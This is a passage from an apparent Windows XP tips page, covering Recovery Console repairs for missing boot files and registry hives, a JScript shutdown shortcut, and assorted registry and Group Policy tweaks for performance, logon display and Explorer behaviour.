Type bootcfg /rebuild to repair it
Take out the CD ROM and type exit


Corrupted or Missing \WINDOWS\SYSTEM32\CONFIG
If you get the error:
Windows could not start because the following files is missing or corrupt
\WINDOWS\SYSTEM32\CONFIG\SYSTEM or \WINDOWS\SYSTEM32\CONFIG\SOFTWARE
Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Enter in the administrator password when requested
cd \windows\system32\config
Depending on which section was corrupted:
ren software software.bad or ren system system.bad
Depending on which section was corrupted
copy \windows\repair\system
copy \windows\repair\software
Take out the CD ROM and type exit Go to top


NTLDR or NTDETECT.COM Not Found
If you get an error that NTLDR is not found during bootup,
If you have FAT32 partitions, it is much simpler than with NTFS.
Just boot with a Win98 floppy and copy the NTLDR or NTDETECT.COM files
from the i386 directory to the root of the C:\ drive.
For NTFS:
Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Enter in the administrator password when requested
Enter in the following commands (X: is replaced by the actual drive letter that is assigned to the CD ROM drive.
COPY X:\i386\NTLDR C\:
COPY X:\i386\NTDETECT.COM C:\
Take out the CD ROM and type exit


Bringing Up the Shutdown Dialog Box
Create a new txt file somewhere on your system, open it and put in this one line:
(new ActiveXObject("Shell.Application")).ShutdownWindows();
Save and Close the file. Change the extension to js and your got it.
You can make a shortcut to that file to make it easy to shut down your system.


Hiding the Last User Logged On
If you use the standard NT style of login and want to hide the last user:
Start the Group Policy Editor (gpedit.msc)
Go to Computer Configuration / Windows Settings / Security Settings / Local Policies / Security Options
Scroll down to Interactive logon: Do not display last user name
Set it to Enable Go to top



Poweroff at Shutdown
If your computer does not turn off the power when doing a shutdown,
you may need to edit the registry. I have all the correct BIOS and Power settings and still needed to do this.
Start Regedit
Go to HKEY_CURRENT_USER\Control Panel\Desktop
Edit the key PowerOffActive and give it a value of 1
You can do the same in HKEY_USERS\.DEFAULT\Control Panel\Desktop


Remembering Folder Settings
If XP does not remember your folder settings, delete or rename the following registry keys
[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags]


Preventing Applications from Stealing the Focus
To prevent applications from stealing the focus from the window you are working
Start Regedit
Go to HKEY_CURRENT_USER \ Control Panel \ Desktop
Edit the key ForegroundLockTimeout
Give it a value of 00030d40


Disable Explorer Thumbnail View
If you want disable the Explorer's ability to show the Thumbnail View ,
Start Regedit
Go to HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Explorer \ Advanced \
Change ClassicViewState to 1 Go to top


Disable Shared Documents
To disable the Shared Documents folder that shows up on the network
Start Regedit
Go to HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \
Create a new DWORD Value
Give it the name NoSharedDocuments
Give it a value of 1
Log off or reboot



Removing Thumbs.db Files
When viewing a folder with the Thumbnail view, WindowsXP creates a thumbs.db file.
This is a cache of the current pictures in that directory.
If you want to turn this feature off and save a little disk space
Start the Windows Explorer
Go to Tools / Folder Options / View
In the first section under Files and Folders, check Do not cache thumbnails
Now you can search for the thumbs.db file on your computer and remove them. No more should be created.



Enable / Disable the Task Manager
Start Regedit
Go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
Create the Dword value DisableTaskMgr
Give it a value of 0 to enable it
Give it a vaule of 1 to disable it Go to top


Clearing the Page File on Shutdown
Another way to set the computer to clear the pagefile without directly editing the registry is:
Click on the Start button
Go to the Control Panel
Administrative Tools
Local Security Policy
Local Policies
Click on Security Options
Right hand menu - right click on "Shutdown: Clear Virtual Memory Pagefile"
Select "Enable"
Reboot

If you want to clear the page file on each shutdown:
Start Regedit
Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ClearPageFileAtShutdown
Set the value to 1



No GUI Boot
If you don't need to see the XP boot logo,
Run MSCONFIG
Click on the BOOT.INI tab
Check the box for /NOGUIBOOT



Using the Classic Search in Explorer
If you prefer to use the classic search style in Explorer,
Start Regedit
Go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState
Add a String Key called Use Search Asst
Give it a value of no Go to top



Changing Drive Letters
If you want to change the letters assigned to your fixed or removable drives:
Right Click on My Computer
Select Manage
Select Disk Management
For a Fixed Disk:
Select it
Right click
Select Change Drive Letter and Path
Click on the Edit button
Enter in the letter you want to use
For a Removable Disk:
In the lower, right hand panel, right click on the Disk or CD ROM #
Select Change Drive Letter and Path
Click on the Edit button
Enter in the letter you want to use


Changing the Registered Owner
Start Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
From there you can edit the name in the Registered Owner key


Decreasing Boot Time
Microsoft has made available a program to analyze and decrease the time it takes to boot to WindowsXP
The program is called BootVis
Uncompress the file.
Run BOOTVIS.EXE
For a starting point, run Trace / Next Boot + Driver Delays
This will reboot your computer and provide a benchmark
After the reboot, BootVis will take a minute or two to show graphs of your system startup.
Note how much time it takes for your system to load (click on the red vertical line)
Then run Trace / Optimize System
Re-Run the Next Boot + Drive Delays
Note how much the time has decreased
Mine went from approximately 39 to 30 seconds. Go to top



Hide/Unhide Logon Names
If you want to hide or unhide the names of users that are displayed on the initial logon screen:
Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList
Add a DWORD with the name of the user account you want to hide
Make sure it has a value of 0
If there is an existing account, you can unhide it by giving it a value of 1



WindowsXP Command Line Utilities
While there are a lot of command line utilities in WindowsXP, here are some that I have been using lately.
bootcfg - Configures, queries, or changes Boot.ini file settings.
driverquery - Displays a list of all installed device drivers and their properties.
getmac - Returns the media access control (MAC) address and list of network protocols associated with each address for all network cards in each computer
gpresult - Displays Group Policy settings and Resultant Set of Policy (RSOP) for a user or a computer
netsh - You can use commands in the Netsh Interface IP context to configure the TCP/IP protocol
schtasks - Schedules commands and programs to run periodically or at a specific time
systeminfo - Displays detailed configuration information about a computer and its operating system




Creating an Automated Install of WindowsXP
On the WindowsXP CP, in the SUPPORT\TOOLS directory,
there is a file called DEPLOY.CAB.
Extract the programs DEPLOY.CHM (help file) and SETUPMGR.EXE (main program)
Run SETUPMGR and answer the prompts.
This will create both a unattend.bat and unattend.txt file you can use for automated installs.
Note: The batch file might need some minor modification for file locations but it is fairly basic.



Disabling Hibernation
If you don't want to use up the disk space taken by Hibernation, or don't need to use it at all,
you can easily disable it.
Open up the Control Panel / Power Options icon
Click on the Hibernation icon
Uncheck Enable Hibernation Go to top



Increasing System Performance
If you have 512 megs or more of memory, you can increase system performance
by having the core system kept in memory.
Start Regedit
Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\DisablePagingExecutive
Set the value to be 1
Reboot the computer



Common Command Console Utilities
WindowsXP comes with quite a few console utilities you can easily run from the command line:
Computer Management - compmgmt.msc
Disk Managment - diskmgmt.msc
Device Manager - devmgmt.msc
Disk Defrag - dfrg.msc
Event Viewer - eventvwr.msc
Shared Folders - fsmgmt.msc
Group Policies - gpedit.msc
Local Users and Groups - lusrmgr.msc
Performance Monitor - perfmon.msc
Resultant Set of Policies - rsop.msc
Local Security Settings - secpol.msc
Services - services.msc
Component Services - comexp.msc



Automatically Ending Non-Responsive Tasks
Start Regedit
Go to HKEY_CURRENT_USER\Control Panel\Desktop\AutoEndTasks
Set the value to be 1
In the same section, change the WaitToKillAppTimeout to the number of milliseconds you want.



Changing the Internet Explorer Title
Start Regedit
Go to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title
Enter what you want appear in the title bar



Changing Programs That Start Automatically
WindowsXP has a similar program, MSCONFIG, that was available in Windows98.
This allows you to view and change what programs are automatically started each time you log in.
The new version also allows you to view and edit the boot.ini file (as well as check for errors and use several advanced switches)